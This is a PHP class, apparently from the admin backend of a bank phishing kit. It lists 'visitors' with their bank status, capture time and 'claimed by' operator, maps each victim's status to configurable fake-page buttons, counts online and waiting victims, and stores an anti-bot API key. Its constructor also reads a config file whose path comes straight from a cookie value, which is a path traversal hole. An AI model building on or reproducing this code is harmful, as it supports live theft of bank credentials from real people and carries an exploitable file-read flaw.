<?php
class Vistor {
	private $decoded_json;
       private  $db; // پہلے declare کریں
	 public function __construct() {
        $this->db = new Database;
         if(isset($_COOKIE['token']) && $_COOKIE['token'] != null && $_COOKIE['token'] != "null"){
        $token = trim($_COOKIE['token']);
        $options_json = file_get_contents("../app/config/".$token.".json"); // load the panel options.json
	    }else{
	        $options_json = file_get_contents("../app/config/options.json"); // load the panel options.json
	    }
	    $this->decoded_json = json_decode($options_json, true);
		$url_to_status_array = array();

	 }
	 public function loadData(){

	 
	 	 $this->db->query('SELECT id , useragent , status ,uniqueid , bank_status ,capture_time ,claim_by  FROM visitors WHERE status != "no"  ORDER BY updated_at');
        $visitor = $this->db->resultSet();
        $count = $this->db->rowCount();
        
        $order_id = 1;
        foreach ($visitor as $key =>  $value) {

        	$value->RecordID = $value->id;
        	$value->OrderID = "49349-38".$order_id++;

        	foreach ($this->decoded_json as $options) {
		      $button_array = $options["buttons"];

		      foreach ($button_array as $button) {
		      	if($value->status == 0){
		      		$value->current_page ="Loading";
		      	}else if($button["status"] == $value->status){
		        	$value->current_page = $button["name"];
		      	}
		      
		      }
		    }

        	$arr['id'] = $value->id;
        	$value->username= $value->uniqueid;
        	$os_icon = get_os_icon($value->useragent);
      		$browser_icon = get_browser_icon($value->useragent);
      		$get_device_icons = get_device_icons($value->useragent);
        	$value->os_icon = $os_icon;
        	$value->browser_icon= $browser_icon;
        	$value->status = $value->status;
        	$value->bank_status = str_replace("-"," ",$value->bank_status); 
        	$value->capture_time = time() - $value->capture_time;
        }


        $data = array('recordsTotal'=>$count,'recordsFiltered'=>$count,'data'=>$visitor);

        return  $data;
	 }
	 public function loadLogs($data_array)
	 {	
	 	// $this->db->query('SELECT * FROM user_logs WHERE uniqueid=:id ORDER BY id DESC LIMIT 9 OFFSET '.$data_array['page_offset']);
        // $this->db->query('SELECT * FROM user_logs WHERE uniqueid=:id LIMIT 9 OFFSET :offset');
	 	$this->db->query('SELECT * FROM user_logs WHERE uniqueid=:id');
        $this->db->bind(':id', $data_array['uniqueid']);
        // $this->db->bind(':offset', (int) $data_array['page_offset']); // Ensure it's an integer

        $visitor = $this->db->resultSet();
        // return $visitor;
        foreach ($visitor as $key =>  $value) {
        	foreach ($this->decoded_json as $options) {
		      $button_array = $options["buttons"];
		      foreach ($button_array as $button) {
		      	if($value->logs == 0){
		      		$value->logs ="Loading";
		      	}else if($button["status"] == $value->logs){
		        	$value->logs = $button["text"];
		      	}
		      }
		    }
        }

  
        return $visitor;
	 	
	 }

	  public function saveAip($data_array){
        $this->db = new Database;
      $this->db->query('SELECT * FROM apis WHERE id = :id');
      $this->db->bind(':id', 1);
      $row = $this->db->single();
      $count = $this->db->rowCount();
        if($count < 1){
        	$this->db->query('INSERT INTO apis (api_key) VALUES (:api_key)');
            $this->db->bind(':api_key',$data_array['anti_boot']);
        	$this->db->execute();
            return true;
        }else{
        	$this->db->query('UPDATE apis SET  api_key = :api_key  WHERE id = :id');
        	$this->db->bind(':api_key',$data_array['anti_boot']);
        	$this->db->bind(':id',1);
        	$this->db->execute();
            return true;
        }

    }
    public function loadVisterCount()
    {

    	$this->db->query('SELECT status ,capture_time FROM visitors');
        $visitor = $this->db->resultSet();
        $count = $this->db->rowCount();
         foreach ($this->decoded_json as $options) {
			$button_array = $options["buttons"];
			foreach ($button_array as $button) {
			    $url_to_status_array[$button["status"]] = $button["url"];
			}
		}


	  $this->db->query('SELECT * FROM visitors WHERE status = :id');
      $this->db->bind(':id', count($url_to_status_array));
      $visitor_complete = $this->db->resultSet();
      $count_complete = $this->db->rowCount();

      $time = time();


      $this->db->query('SELECT * FROM visitors WHERE capture_time  < :id');
      $this->db->bind(':id', $time-10);
      $visitor_ofline = $this->db->resultSet();
      $count_ofline = $this->db->rowCount();


      $this->db->query('SELECT * FROM visitors WHERE capture_time > :id AND status = 0');
      $this->db->bind(':id', $time-5);
      $visitor_wating = $this->db->resultSet();
      $count_wating = $this->db->rowCount();


      $this->db->query('SELECT * FROM visitors WHERE capture_time > :id');
      $this->db->bind(':id', $time -5);
      $visitor_online = $this->db->resultSet();
      $count_online = $this->db->rowCount();



      $data = array('total'=>$count,'complete'=>$count_complete,'offline'=>$count_ofline,'wating'=>$count_wating,'online'=>$count_online);
      return $data;
    	
    }

    public function getAip(){
      $this->db->query('SELECT * FROM apis WHERE id = :id');
      $this->db->bind(':id', 1);
      $row = $this->db->single();

      if ($row && isset($row->api_key)) {
           
            file_put_contents('../app/libraries/boot/key.txt',$row->api_key);
             // return $row;
        }
        return $row; 

     
      // return $row;
  }
}